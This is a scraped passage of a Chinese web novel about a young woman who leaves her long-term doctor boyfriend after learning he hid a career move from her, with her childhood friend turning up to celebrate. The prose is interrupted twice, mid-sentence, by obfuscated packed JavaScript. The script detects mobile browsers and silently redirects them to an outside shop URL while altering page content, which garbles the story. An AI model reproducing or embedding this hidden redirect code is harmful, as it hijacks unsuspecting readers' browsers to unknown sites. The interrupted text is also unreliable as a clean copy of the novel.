“有时候我觉得就这样过下去,好像也可以,但又不知道为什么,心里总是不太舒服。尤其是我今年终于下定决心离职了,自己待在家里更容易胡思乱想,拍视频的状态也不太行……就总是因为一些小事跟他闹脾气。他每次都会跟我说很多道理,可我还没耐心听。” 许知棠长叹一声,“其实他说的都挺对的。我也知道他在医院里忙了一天,回到家还得哄我,肯定很累。换成是我的话,我肯定都做不到他那样。可能还是我没长大吧,不够成熟,跟不上他的脚步。” 蒋谌真是想不通,她分都分了还在这替前男友说话,“你这么没安全感,不就是他应该尽的责任没有尽到么。” 感受不到的爱一律都该当不存在。 “可我们每个人,不都是最应该先对自己负责么?”许知棠说。 蒋谌沉默了一下,“这句也是他跟你说的?” “是啊。我觉得也挺有道理的。” “……” 别说是谈恋爱了,蒋谌道,“就算我跟姚一尧聊天,朋友之间诉苦的时候他都不会跟我说这种话。你是不是被PUA了?” “诶嘿……陶陶也这么说过我。” 她还傻乐,摇摇头表示不懂,“也可能他就是太讲道理了呗,人跟人的脑袋想事情的方式真不一样。算啦,这些都不是小猫咪该考虑的事。” “对了,这是这里第一次开火吧,连煮汤的锅都是现买的。那就祝贺你乔迁新居!也算是帮你暖房了,干杯干杯。” 蒋谌举起碗跟她碰了一下。叮当,薄薄的瓷碗盛了汤,声音还是清脆。 许知棠想,他之所以愿意让她搬进来一起住,除了出于情义的照拂,应该还因为,他偶尔也会感到孤独吧。 她觉得这世上就没有谁是不孤独的。哪怕是再享受独处的人,也会有某些时刻格外需要朋友陪伴。 “再过三天就是假期。”蒋谌说,“如果你多等一天,我就可以跟你一起回云川。” 许知棠睁大眼:“你还有假期啊?” 这话说的。“我不配有?” “看你家里这样子,以为你一心工作赚钱不想要私人生活呢。” 她啧啧感叹,“也对,是头驴也不能一年三百六十五天地拉磨吧。哎你回老家是有什么事吗?” “……” 蒋谌对她这比喻着实无语。但的确,他已经连着拉磨很久了,“……回去看看老人。” 许知棠理解地点点头,“那好啊,我们就一起回好了。反正就迟一天。” 蒋谌的爷爷奶奶一直住在云川。她小时候还去他们家玩儿过,夏天可以摘葡萄吃。也不知道院子里的葡萄架拆了没有。 “但我不会待太久,”蒋谌又说,“第一天上午回去,第二天下午回来。如果你跟着我一起,可以给你报销机票。” 还有这种好事。她双眼发光:“好!” 她回去收拾要带的东西,有个大半天时间也就够用了。反正就在这儿住三个月,不用带很多。 她还没开工,暂时没有收入,能省点机票钱当然很好。不过等回云川的这几天她也没闲着,买了面超大的全身镜,好对着镜子练习姿势和表情,为拍摄做准备。 镜子太大,次卧都放不下,只能放客厅。为此她还用了两顿宵夜贿赂蒋谌。 蒋谌本来是没所谓的,送到眼前的宵夜不吃白不吃,就答应了。结果下班回家,进门看见躺在地上的全身镜一愣,差点以为她把电视屏拆下来了,“这么大?” 奈何已经接受了贿赂,只能帮她一起把全身镜抬起来装好。放客厅里简直是闪闪发光。 “以后我就可以在这里录ootd!”她很满意,拉着蒋谌并排站在镜子前,“看,照起来很爽吧,两个人都装得下。” 蒋谌不太理解人为什么照镜子也能照爽,多少是沾点自恋。但他看着镜子把近在咫尺的两个人影框在一起,心底居然也浮动着一丝隐秘的,微妙的愉悦。 好吧。他只能承认,他可能也是沾点自恋。 许知棠头动来动去,各种找脸最好看的角度用手机自拍。显得他站在旁边特别成熟,一副衣冠楚楚的大人模样。 他看了几眼,就退出了镜框。 蒋谌小时候很在乎“成熟”“懂事”之类的标签,并在得到这些标签时引以为荣。 他热衷于把自己的人生过成“别人家的孩子”,享受掌声和荣誉证书,享受许知棠看过来时带着佩服的目光。好像这样就能忘记,他有多缺乏父母的关注和陪伴。 许知棠不知道。他其实并没有多好的耐心,整天带着她学习或是玩儿,起初只是为了得到大人的夸奖。 父母能给他的时间很少,少到只够听一个优秀的儿子细数获得的荣誉,而非是听一个孤独不安的小孩掉着眼泪诉苦。 离开云川时,只有许知棠对他说,“你想爸妈的时候可以告诉我。” “不想倾诉也可以不用说,反正只要你找我聊天,我就陪你。反正我超爱讲话的!” 十几年后的许知棠在他的客厅里敷着面膜跟闺蜜通电话,依旧擅长喋喋不休。 “我知道我知道,诶呀,不是故意放你鸽子的,是真的时间紧张嘛。” 她对陶悦细数安排,“今天我终于有工作排期了!回去也只能待一天,第二天下午回来,然后隔天上午就要去棚里拍摄,行程好赶的。你就先忙自己的,不用给我庆祝入职了,嗯嗯,我们都是勤劳勇敢的小羊!” “……” “蓝蓝天空晴朗青青草地也芳香……” “行了别唱了。”陶悦打断,“你要知道我给你带的消息,肯定唱不出来。” “嗯?什么消息?” “听三院的朋友说,何松砚他妈妈住院了。” 许知棠一怔,嬉笑的态度消失了,“是什么病?” “这我不知道,不过应该不是什么严重的病。”陶悦说,“长辈上了年纪难免的,身体总有些小毛病。” “嗯……” “哎,你可别跟我说想留下伺候啊。” 许知棠纠结了一下,“我还是得去医院探望的,就探望,绝对不会因为这个跟他复合。毕竟之前他照顾我爸爸也花了很多精力啊,我不能这么没良心的。” “就你最有良心。”陶悦没好气道。“反正你自己看着办,要是敢为他丢了刚定下的工作,我打飞的去暴揍你一顿!” “嘿嘿知道啦,放心。” 挂掉电话,她看着微信愁了一会儿,到底还是没打给何松砚。 她想何松砚要说的应该也是这件事,既然可以留到她回云川说,就证明他妈妈的身体确实不是什么大问题。 她只是头疼……毕竟在长辈心里,现在她跟何松砚还是快要结婚的状态。到时候聊起天来…… 她估计会把探望搞得很尴尬。 节前最后一天加班,蒋谌很晚还没有回来。 她连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661117|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了三条微信都没得到回复,就知道他还在忙,没有等下去,先回房间睡觉了。 蒋谌到家时已经快过零点。 他忙完才看到许知棠的消息,回复后对方没动静,就知道她肯定是睡着了。进门不出意外又被巨大的穿衣镜闪了一下,还没太习惯。 客厅是亮着的,许知棠给他留了灯。 他照旧先坐下喝杯水,喘口气,腾出缓冲的时间让疲惫消散。转眼瞥向客卧,才发现这家伙自顾自地进去睡觉,连房门都没有关。 不知道该说她粗心大意,还是适应能力极强。才这么几天就当自己家了。 蒋谌起身去把门轻轻带上。 隔天早上的机票,许知棠艰难爬起床,困头困脑,看起来精神不怎么好。一路上话也少了许多,心事重重的样子。 是因为要跟前男友见面吧。 蒋谌不想问。 他真不想知道那么多事。她非要说的话就没办法,只能勉强听一听。不说更好。 落地两人各回各家。蒋谌提前两天跟老人家说了要回来探望,中午饭桌很丰盛,快赶上过年了。 他跟爷爷奶奶的关系其实也就一般,否则当初没了父母,也不会被交给大姑抚养。老夫妻一共三个子女,蒋谌父亲排第二。往下还有个小叔,前几年刚结婚,至今还带着老婆孩子跟年迈的父母一起住。 老院总共三间卧室。其中有一间从前是留给蒋谌住的,但自从小叔成家以后,他的房间就被征用了。所以每次回来探亲,他都会先给自己订好酒店。 “我跟同学约了晚上聚一聚。今晚就不留下跟你们吃饭了,明天还得赶回去加班。” 这样的话每年都听,老夫妻似乎从未怀疑过,只是一味地说些“工作辛苦了”“要注意身体”的客套话。 蒋谌一一应下。像是每年都要走的流程。 他自己也没多走心,连带回来的补品礼物都是落地以后现买的。况且成年后有了安身立命的能力,再不是什么缺爱的小孩了,也就更不会要求那么多。 午饭后两人招呼他,去原来的屋里睡个午觉再走。 蒋谌确实有点累,昨晚加班到半夜,今早又赶飞机。但他不想躺在别人床上睡觉,哪怕那张床曾经是父亲带着他亲自挑的。 他小时候留下来的东西不多,房间被征用后,都装在一个旧柜子里。以往他回来从没翻找过,态度也比较无所谓,家里人是打算清理出去的,只不过屋里还有位置,没着急腾挪。 蒋谌蹲下来,从熟悉的位置摸出钥匙,打开柜子底层上锁的抽屉。里面塞着他上学时得的奖状证书、作为全校第一发言的演讲稿、泛黄掉色的校园卡,还有一只精致到跟其他东西格格不入的小礼盒。 蒋谌打开它。里面是一条颇有设计感的项链,银质的部分已经生锈了。吊坠上那颗圆硕的粉紫色珍珠,却还泛着莹润的微光。 ——放学经过的那条商品街开了家珠宝店,橱窗里摆了一条超级漂亮的珍珠项链。曾经许知棠一周跟他讲了三次。 她那段时间换了口味,不看热血番改看少女漫,嚷嚷着想谈恋爱。甚至还念叨着什么“如果是过生日的时候吹蜡烛,男主角趁着我闭眼亲手帮我戴上这条项链,我一定会心动的。” 蒋谌嘲笑她没出息,然后找了份家教的兼职,攒一个月的钱买下了这条项链。 彼时初春。 许知棠的生日在夏天,他想一切都来得及。 但她在夏天来临之前说了再见。 他嫌看了闹心,就把项链放在老家没有带走。时至今日,也并不感到遗憾。 他自己做的选择,自己承担生锈的结果。没有什么好遗憾的。 年少时频频跳级,他跟身边的同学都隔着年龄差。所以情窦初开,开在了离他最近的许知棠身上,也很正常。是青春期必经的阶段。 现在当然不会了。 蒋谌收起项链,心想就这样锈掉吧,反正是没人知道的事。她只要没问,他就不会说。 …… 问了他也不会承认的。 19. 第 19 章 许知棠回云川一路无声的焦虑,是因为她跟何松砚妈妈相处得不算很好。 她和何松砚在一起这么多年,都到了谈婚论嫁的地步,当然也见过家长,在一起吃过几次饭。 明面上当然不好说得那么直接。但她能察觉到,何松砚父母喜欢的儿媳要更温婉,知书达理些。 他妈妈尤其挑剔这点。所以情况允许的话,她去病房探视还是得拉上何松砚。否则就算她是个外向的人,见了面都不知道该说什么好。 何松砚收到她的航班消息,上午就在两人的家里等她。他今天轮休,在两人都爱吃的餐厅订了座位,也准备好好出去吃个饭,聊一聊。 今年是比较关键的一年,无论是对工作发展还是家庭而言,都重要到可以称为人生节点,他压力也很大。 不过好在大部分事情都已经安排得差不多了,他现在更多的,是对迈入人生新阶段的期待和向往。 门口的感应锁响起来。许知棠到家的第一时间,他就听到动静,噙着笑起身走向玄关,“回来了……怎么没有带行李?” 许知棠是空着手回来的,只背了一个用来搭配的随身包,显然装不下多少东西。 而他在海市酒店看到的,她的购物成果起码能塞满两个行李箱。 何松砚表情怔了一瞬,嘴角的弧度略有些下滑。 他这么聪明的人,一个照面就能察觉不对劲。许知棠也没打算跟他隐瞒,换了鞋子直言道,“我只回来待一晚,明天还要走的。” “还没玩够?” “不是。我在那边找到工作了。”许知棠说,“已经签好合同了,后天就要开工,所以必须得赶回去呀。” 什么合同,什么开工? 她不就只是出去旅游散心吗?怎么忽然又扯上找工作了? 何松砚花了几秒钟确认她不是在开玩笑也不是说气话,脑袋里嗡嗡直响,“这么大的事,你就没想过先跟我商量一下么?” “我就觉得挺合适的……机会难得,就签了。”许知棠目光闪躲,躲去厨房倒了杯水,坐在沙发上慢慢地喝着磨时间。 她当然想过找何松砚商量,也能想到他会有什么反应——百分之二百是不赞同,劝她早点回家。 所以她是故意瞒着何松砚的,有点心虚也是正常反应。 “找了什么工作?”缓过最开始的冲击,何松砚稳定心神,过来坐下和她了解情况,“还是模特公司的?” “嗯。”许知棠说,“是正经公司。陶陶也在,她帮我调查过。我就签了一个季度的合约做做看,不行再说。” 何松砚知道陶悦,除了对他有敌意,的确是个肯为许知棠着想的真朋友。 再加上签约只到年底,事情就还有缓和的空间。 以他对许知棠的了解,或许会有一些婚前焦虑,通过这种方式逃避也解释得通。 “那你要一直住在那边等安排吗?还是有拍摄的时候才过去工作?” 计划又被打乱,何松砚有些头疼,“本来想这个月就先带你们过去看房的,合适就定下来,选个精装修的户型我们明年过去能直接入住,就不用再租房过渡了。没想到我妈忽然住院,再加上你这个远程工作要听公司安排,可能得拖到下个月了。” 许知棠这才插话问他,“阿姨是哪里不舒服吗?” “痔疮手术,不严重。”他说,“昨天下午入院的,今天早上已经做完了。” 是常规手术,最多一周就能出院,而且也不需要怎么照顾,护理上药都有护士操作。他本来想让许知棠回来,去医院陪几天,“只需要陪着她聊聊天,吃吃饭,最多等能下床了扶着她溜达几圈。这也是个拉近你们关系的好机会。” 自家父母对许知棠的态度他知道,肯定谈不上像亲生父母一样疼爱,但打心底里都是接受她的,只不过偶尔还有点拿乔,就是上了年纪,希望被儿媳妇哄哄高兴。这都不是什么大事。 “可是她也不太喜欢我啊。”许知棠没想过要陪床,为难道,“要不我去看看就走吧,不然我老在她面前晃……我又爱说话,她还会嫌我烦呢。” “就是想让你陪她多说说话,也好让她多了解了解你。”何松砚耐着性子教她,“哪有遇到困难就想逃避的。我们一开始不也折腾了好久才在一起?人跟人相处都有一个过程,时间长了她当然就知道,你是个善良又可爱的好姑娘,自然就喜欢你了对不对。” 许知棠不说话,看起来还是不太情愿。他叹了口气,“好了,先去吃饭吧。一会儿再说。” 他拿起外套,刚要准备出门,医院那边来了电话。许知棠听不到内容,但看他眉间又拧成熟悉的纹路,就知道肯定是病人有情况。这顿午饭又吃不成了。 “我得回医院一趟,13床需要提前手术。”他无奈地对许知棠说。“座位订好了,菜单也是你喜欢的,不去就浪费了。叫个朋友陪你去吃吧。” “……好。” 他站起来就要往外走,迈出一步又返回来,俯身抱了抱许知棠,手掌在她单薄的牛仔外套上摩挲了一下,匆匆叮嘱,“吃完午饭来医院找我。降温了,外面很冷,出门再多穿一件。” 许知棠点点头,看着家门关上。她又一次独自被留在这栋房子里,距离见面不过十分钟。 何医生总是很忙。 为了理想也为了生计,为了病人也为了家庭。没办法为她停留。 许知棠坐下来,环顾四周,看不清楚未来。 到底是像他说的人生到了关键时期“熬过这段时间就好了”,还是她永远都会在所谓的关键时期里,一个人苦熬? 她疲惫地倒在沙发上,蜷起身体睡了一觉。午餐也没有去吃。 睡醒后脑袋清楚了一些。看时间不早,她怎么也要出门,得去把事情办完。 有一句话何松砚说得很对。她没办法再逃避下去。 逃避或许是能解决一些问题,但解决不了她遇到的这个。 她必须要做选择,并且想办法弥补良心上的不安。 决定已经做好。她下了楼,却在看到自己焕然一新的小电驴时,差点又忍不住掉眼泪。 车前盖板摔裂了,她走之前就扔在医院没管。只可能是何松砚帮她送去店里维修,又给她停在平常充电的位置,连手机支架和挡风被也换了新的。 他也付出了很多啊!有一个声音在许知棠脑袋里响起。爸爸住院的那半年,每次你值夜班的时候都是他不眠不休地陪床,现在角色换过来你就做不到了吗? 痔疮手术正常第二天就能下床了,工作也是后天才开始,现在重新订机票,只要特种兵一点时间就能挤得出来。最多两天,去医院照顾两天又能怎么样呢? 可还有另一个声音在提醒她。不要去。一旦她现在心软留下,就再也走不了了。她又会重蹈覆辙:先复合过一段稳定的日子,然后不断地积累焦虑,直到受不了,再次想要分开。 要到什么时候才能结束呢?难道真要结了婚,有了小孩,到很远很远的未来再幡然醒悟?不可能的,到时候负担和羁绊只会更重,她永远都没办法走掉了。 许知棠勉强扶着车把,刚要跨上去,眼前一阵天旋地转,不得不蹲下来,痛苦地抱头喘息。 某个瞬间,她脑海中淤堵的思绪忽然消失,呼吸又通畅了。 不是的,这些都不是她应该考虑的问题。 她根本就活不到那种遥远的未来啊。她只是一只小猫,等实现了蒋谌的愿望就会变回去。 她不用烦恼,不用痛苦,只需要寻找食物和喵喵叫,就足够过完一生。 许知棠深深地呼出一口气,抹掉眼泪,骑上小电驴去医院。路途中取了钱,又买了些水果和一束花,然后直接到住院楼肛肠科,在护士站问何松砚的母亲住哪一床。 医院里八卦流通,不夸张地说,半个楼的护士都听过她和何松砚的事,此时免不了还要再说笑几句。 许知棠跟她们不太熟,应付完放下花和水果就准备走,“麻烦帮我转交一下吧。另外这一袋里面是果切和奶茶,请你们吃的。” “你不进去看望未来婆婆啊?”两个值班的护士齐齐瞪大双眼。 “我就不进去了,不太方便。”许知棠说。 她又去了何松砚的办公室,把刚取的钱放进他的储物柜。信封被纸钞塞得鼓鼓的,几乎是她现在身上的全部积蓄。 何松砚还没下手术。许知棠最后一次坐在他的办公椅上,给他编辑消息。 【抱歉,我必须得走了,柜子里的钱你拿去请个好的护工照顾阿姨】 【看房的事也不用等我参与,你们家人决定就好,我想过了,还是不能跟你结婚】 【我们还是分开吧,彻底分开】 最后一句拼写了很久,打字的动作格外艰难,手指似乎被六年的重量压得难以动弹。 可她终究还是发送出去,靠在座椅里几乎脱力。 “……许知棠?” 身后忽然传来惊诧的声音。 她懒懒地抬头。韩晓棠就站在门口,一脸意外地朝她笑,“诶,真的是你,还以为认错人了呢。” 许知棠也不咸不淡地打了个招呼。 她跟这位小韩医生的关系并不好。只是同一批毕业进入三院,因为名字相像而被大家放在一起说,久而久之,就觉得她们比别人亲密。 她觉得很累,一时半刻地站不起来,想歇会儿再走。韩晓棠却还没停止输出,“我就说么,谁会坐在何医生的位子上。他还没下手术呢吧,你在这儿等他?” 废话。许知棠说,“我只是路过来看看。” “他现在可是大忙人。”韩晓棠接了杯热水,坐在自己的办公桌前,语似关怀,“你呢,离职快一年了,过得怎么样?听说你在搞自媒体啊,粉丝多不多?我也给你点个关注呗。” “还没怎么做起来呢。”许知棠懒得跟她多说。 “确实,现在当网红很卷的。不过难归难,你也得上心才行啊。”她忽然话锋一转,“听说你最近还出去旅游了?也是,何医生马上就要升迁了,你跟着他就可以安心做个全职太太,只剩享享福,互联网么随便玩一下就行了。哪像我们这群人,整天绑在医院随叫随到,累死累活的。” “谁告诉你的我在旅游?”许知棠问。 “前几天何医生在这里打电话,我们都听到的呀。欸呦,还听到他问你钱够不够花,真是肉麻死了。” “……” “对了,他妈妈昨天入院做手术。”韩晓棠哦了医生,仿佛明白了她离职这么久,为何又忽然出现在医院,“你是来伺候婆婆的吧,那可得好好表现了。不过我昨天去看过,她人挺精神的,几个小护士都围着她说话呢,照顾得好好的,你也用不着操心。” 许知棠嘴角一抿,抿出个冷笑,“是,医院里多得是人替我操心。” “啧,我实话实说嘛。”韩晓棠讲她,“你也别太小心眼了。你家何医生在医院里什么口碑你还不知道啊,别说是些个小护士,就算院长把女儿牵线到他眼前,他也没对不起你吧,这还不够?” “本来这事还难办呢,得罪了院长可还怎么混,这不年初升迁的机会一露头,他拼死拼活也要抓住的。你都不知道他为了这个机会有多努力,唉你啊,就纯享福的命。” 许知棠正听得烦躁想走,倏忽间愣住,“年初就……有消息了?” “对啊。各种考核评比弄了小半年呢,就一个名额,大家都挤破头了,现在才算是尘埃落定。” 韩晓棠不懂她在惊讶什么,“你们都快结婚了,难道何医生没跟你说这事?” “……说了。” 不想在讨厌的人面前失态,许知棠付出极大的自制力,才镇定道,“我们不会结婚。” “哈?”惊讶的表情成功转移,“为什么?” 许知棠说,“因为我还没玩够。” “……” 这下又轮到韩晓棠冷笑了,不仅震惊还有无语,觉得她真的很装,“许知棠,你都快二十七了,咱们这波人结婚的结婚,生孩子的生孩子,有的都已经二胎了,你还要玩到什么时候?” “那你去嫁给他吧。” “……你说什么?!” “我说,既然你觉得他那么好,不如自己去嫁给他。” 许知棠起身,不再看她一眼,“我们已经分手了。你喜欢他,大可以放手去追。” 出了医院许知棠是打车回的家,她气得发抖,又震怒又失望,自己骑小电驴真怕会出事。 何松砚当然说了要升迁的事,是一个月前才告诉她的。实际却是在她离职之前就已经有消息了。 怪不得。 怪不得她当初说离职的时候,以为何松砚会强烈反对,没想到他只稍微考虑就表示支持。 当时她很感动。她觉得何松砚是完全为她着想,支持她的梦想。 现在再回忆起那些感动,难受得甚至有些反胃了。 她独自回到家,蜷在床上哭了一会儿,越来越难受。情绪积攒在身体里像个涨大的气球,随时都可能破溃。她才意识到,自己必须快点离开这里。 于是她带上笔记本和睡衣,回了父母家。 自从父亲去世以后,她每次回来只是打扫,没再住过。这次一进家门,她就冲进主卧,抱起床头柜上的骨灰罐,摧心剖肝地大哭了一场。 何松砚下了手术看到她的消息,有很多话要说,却怎么都打不进她的电话。 他也很不喜欢最近两人的状态。 许知棠是个很简单的人,这是他最喜欢的她身上的特质之一。但她最近的行为古怪,让人看不懂。 从两人的聊天记录里就能发现端倪。以前许知棠每天至少发几十条消息,他得空才会回复一条。出去旅游时更甚,看了什么吃了什么,事事都会跟他分享。 可这次出去旅游的几天里,许知棠一件事都没跟他说。唯一的一件大事,还是今天刚见了面他才知道的。 餐厅也给他打了电话,告知他中午没有人去用餐。 他从一开始的气愤到有些担心,害怕她路上又出了事故,正准备回家去看看的时候,许知棠接电话了。 于是那股压抑的恼火又反扑上来,“许知棠,你留下这笔钱是什么意思?” “字面意思,就是给阿姨请护工用的。”她声音意外的平静,鼻音却很重,“用剩下的就是当我们的分手费吧。” “……” 何松砚简直要被荒唐到气笑了,“你现在是打算用钱来摆平我吗?不愿意来陪床你可以直说,我从来没有强迫你。没必要用这种羞辱人的方式。” “羞辱?”许知棠忽然也笑,“你知道什么叫羞辱吗?我问你。这次去省里的机会,你是什么时候知道的?” “……” 何松砚的沉默让她心里的最后一丝侥幸也破灭了。 “你为什么上个月才告诉我。” “我要等到事情结果确定下来……否则不就让你也跟着空欢喜一场?”他声音发紧,“况且什么时候说都不影响结果吧,都一样。” 许知棠说:“不一样!” 这半年何松砚当然也很努力。但他在三院的青年骨干里向来都是出名的翘楚,所以即使还需要走程序,大家也都心知肚明,只要何松砚不掉链子,这唯一的名额肯定是落在他头上。 从一开始就知道。 知情人里唯独不包括她。 许知棠迟缓地剖开真相,“你早就知道自己要走了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661118|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但只有一个名额,你不想异地,就要劝说我辞掉工作。” “这很难开口是吧,可就在这个时候,我居然刚好就主动提出想离职,省了你一番功夫,对不对?所以你当时答应得那么快,并不是支持我的梦想,只是觉得如果我没有了医院的工作,就会更容易跟你一起走对不对?” 她现在才明白,他并不是在为许知棠考虑,而是在为何松砚的妻子考虑。 “那我算什么呢。”她的语气连自己听了都觉得凄凉,“我没有自己的生活,没有自己的梦想吗?为什么这么确定我会跟你走……放弃我在云川从小到大所有的依恋,就这样孤身一人跟你走?如果我今天答应了你,是不是就等于放弃了自我,以后只能作为你的妻子,跟随你,依附你活着?” “这有什么冲突的?你一辈子都可以依附我生活。难道你不相信,我有能力支撑起我们的家庭?”他也有些急了,“跟我走,你仍然可以做自己的事,你的梦想本来就是在哪里实现都可以的……啊!” 这句话一出口,何松砚就知道自己说错了。可惜私心一旦暴露,便没有了撤回的机会。 “我不是在哪里都可以的。” 许知棠声音轻轻的,“你只是没那么在乎。你只是觉得,自己的理想比我的更重要,对吗?” “不是……我没有这样想。” “那你真的能尊重我的想法吗?”她问,“哪怕我十年之内不结婚不要小孩,你也可以接受吗?” “……” 何松砚再次陷入沉默。好似谈判与博弈,他声音低沉又无奈,给出了拒绝,“那太久了。” 许知棠笑着掉下眼泪。 意料之中的回答。 起码他没有继续欺骗她。 他需要的是一个能够配合他的人生规划的爱人。 就像她恋爱时一直做的那样……理解他,配合他。努力调整自己的脚步,跟他一起走。 可现在,到了谁都无法退让的分岔路口。许知棠想,如果他从一开始就坦诚相告,他们或许还有机会,推心置腹地权衡。 然而他选择不说,只是冷眼看着。她的事业越是失败,对他而言越是有利。她一无所有,才会全身心地依附他。 好笑的是,她前几天才刚刚亲口对蒋谌说,这个人对她从无隐瞒。 “我不想骗你,棠棠,现实不是童话,我们也都只是普通人。”何松砚长叹一声,残酷地对她说,“你靠现在的工作没法养活自己。哪怕再去相亲,条件比我好的能有几个?和我结婚是最好的选择。否则你一个人留在这里,又没有父母照顾,以后也一样会孤独的。” 或许他说的是现实吧。 是她难以面对的真相。 许知棠只是不明白,为什么在这种时候,在她失望,愤怒,崩溃的时刻,他还能理智地说出这些话,甚至还可以狠心地雪上加霜。 这让她想起六年来无数个类似的,何松砚看着她情绪崩溃的时刻。 他为什么可以保持冷静?为什么她的悲伤影响不到他。她宁愿两个人像疯子一样争吵,对骂,也不想这样。 可是,一直都是这样的啊。 她到底为什么坚持了六年? 这么累,这么灰心。她居然撑到现在,才彻底认清现实? 所以她反而笑得更厉害了,笑得停不下来,听着有点瘆人,“你每次求婚都很糟糕啊。” “……” “我不想是因为你给了我好的生活,才活得好。我要自己活得好。” 在何松砚眼里,她又一次推开成熟的现实状况,保留自己幼稚的理想主义。 但她也不在乎了。 “我等一下会删掉你的微信,还有电话。我们这次彻底分手。”许知棠说,“我回家了,我自己的家。你也不要来找我,我现在一点也不想看见你。” “……” 何松砚也感到心累了,“你一定要这样是吗。” “是的。”她说。“祝你找到理想的妻子。我们再也不要见面了。” ** 都不用隔夜。晚饭时间刚到,许知棠和何松砚分手的消息,已经摆到了三院各个科室的餐盘上。 消息当然不会是从高风亮节的何医生那里传播出去的。 许知棠洗完澡,吹好头发再来刷手机,心情和理智都平复了些,因此看到自己下午发的朋友圈,难免有点尴尬。 【很长很好的六年,爱过就不后悔。从今以后各自安好,各自天涯。】 矫情瘾犯了…… 她看着朋友圈底下几十上百条的追问发愁,现在再想删掉也为时已晚。 她就只在炸锅的评论区里面回复一句“嗯是分了”,盖棺定论以后立刻扣住手机,装死以获得平静。 的确是平静多了。 其实她这趟回来,原本就是为了这件事,只不过在分手之前额外伤心了一场。多了点坎坷,目标还是完成了。 何松砚的微信她挂电话就马上删掉了,没有评论她的机会。但他人在医院,肯定会有人代为转告的。 不知道何医生对这条朋友圈作何感想……反正身边肯定不缺少安慰他的人就是了。 这个时候很适合跟姐妹出去大醉一场。可惜陶悦在外地出差,许知棠只能收到她的隔空点赞。 “好样的!!” 过去几年大大小小的分手数不过来,这是她第一次在朋友圈官宣,真是痛下决心。 陶悦下午就把电话打了过来,满意的心情突破屏幕,“你现在马上开直播!我给你刷一百个游艇让你去新生活扬帆起航!!” “……” 虽然一时半会见不到面,隔着屏幕扯皮几句,心情也会好很多。 许知棠倒在床上翻滚,主卧的床年久老化,被她滚得嘎吱响。 她很久没有一个人睡在旧家里,夜晚太安静,心里毛毛的。坐起来打开笔记本,想放点歌听,忽然看到自己加了标签的网页,马上点进去,打开帖子查看更新。 这是她回来的另一件大事,可惜拉到最底下发现,这周小说没有更新。楼主请假说现生太忙,刚入职就天天加班工作,所以更新推迟。 许知棠有点可惜,把链接复制下来,转发给了蒋谌。 虽然没有看到下一步的行动指南,但这个帖子的存在还是能帮她证明一下小猫咪的身份。 也不知道现在蒋谌在做什么? 不会已经睡觉了吧。 听说有些人回到老家之后就会自动调整成老年人作息,也不知道是不是真的。 她静等了五分钟,还是忍不住骚扰一下。 【蒋谌蒋谌,看到我发给你的帖子了吗】 【蒋谌蒋谌你不会已经睡着了吧】 【蒋谌蒋谌你在干什么啊】 骚扰了三下。 她心想其实跟蒋谌一起喝酒也行,甚至把微信退到后台,打开地图看了一下路线。距离也可以接受,打车过去不到一个小时。 正在规划,她后台忽然响了起来。是蒋谌回给她电话。 “才看到我发给你的消息?”她立刻接通,噼里啪啦地问,“你睡了吗?在干什么呢现在。” “在按你家门铃。”蒋谌说,“这铃怎么不会响?” “……” “门铃早就坏了,你要大力地敲门才行!不过现在不用敲了。”她跳下床,拖鞋都没有穿,在冰凉的地板上踮着脚尖飞奔,“我来了我来了!” 直到打开门,真的看到蒋谌站在面前,她还有点难以置信,笑得两排牙一起受冷,“你怎么这个时候来?” “看见你发朋友圈了,这回分得挺明显。” 夜深露重。他不仅人到了,还带着酒来,“来给你庆功的。” 20. 第 20 章 最需要的酒精已经就位,能再配个火锅最好。但许知棠喜欢的火锅店没有外送,又嫌自己一身睡衣邋里邋遢的,不愿意出门,“我们那些朋友也常去吃的,万一碰上肯定要问我分手的事,我才不去。” 她接了酒就跑。蒋谌进屋自己找拖鞋,“那我去吃,吃剩的给你带点回来。” “……” 许知棠从柜子里拿出两个啤酒杯,闻言简直不敢相信自己的耳朵,“你这说的是人话吗!” “啧,怎么说什么都信。”蒋谌把手机解锁扔给她,“想吃什么点吧,今天我请。” “哎!那我可不客气了。” 趁她挑选外卖,蒋谌在客厅里转了一圈。 他对这处房子的熟悉程度可能并不低于自己家。多年来许知棠父女俩也有意维持着女主人还在时的布置,以至于他看在眼里,连电视柜上花瓶摆放的位置都没有变过。 跟他从前伙同许知棠往里插狗尾草和野雏菊时摆得一模一样。 “烤鱼你吃不吃辣?鸭脖要甜辣吧,冰激凌你吃吗?”许知棠快一天没吃东西,这会儿才有点食欲,准备从咸到甜,从热到凉全点一遍。 等外卖全到了,摆满茶几,她也正式开始跟蒋谌复盘今天下午的吵架,越说越远。复盘完今年每次分手的原因,还能再接着说去年。 也是很能记仇的一个人。 “他还说我咄咄逼人!” 她愤怒地拆开冰激凌,第一口被冰得牙齿打架,也没停止含糊不清的控诉,“我多嘟逼人?我嘟嘟逼人么?!” “……” 蒋谌露出欲言又止的眼神。她消化完第一口冰凉的刺激,又挖了第二勺,“你有什么话,想说就说。” 蒋谌锐评:“明明一肚子气,朋友圈里装什么岁月静好。” “……我那是人设,人设懂吗!难道我要去朋友圈表演怨妇啊?”她说,“如果我抱怨的话,别人看到只会更觉得,是我情绪不稳定,是我有问题。我才不要。” 她谈恋爱这几年,已经看得透透的了。 如果两个人之中有人出了问题,那一定是她。 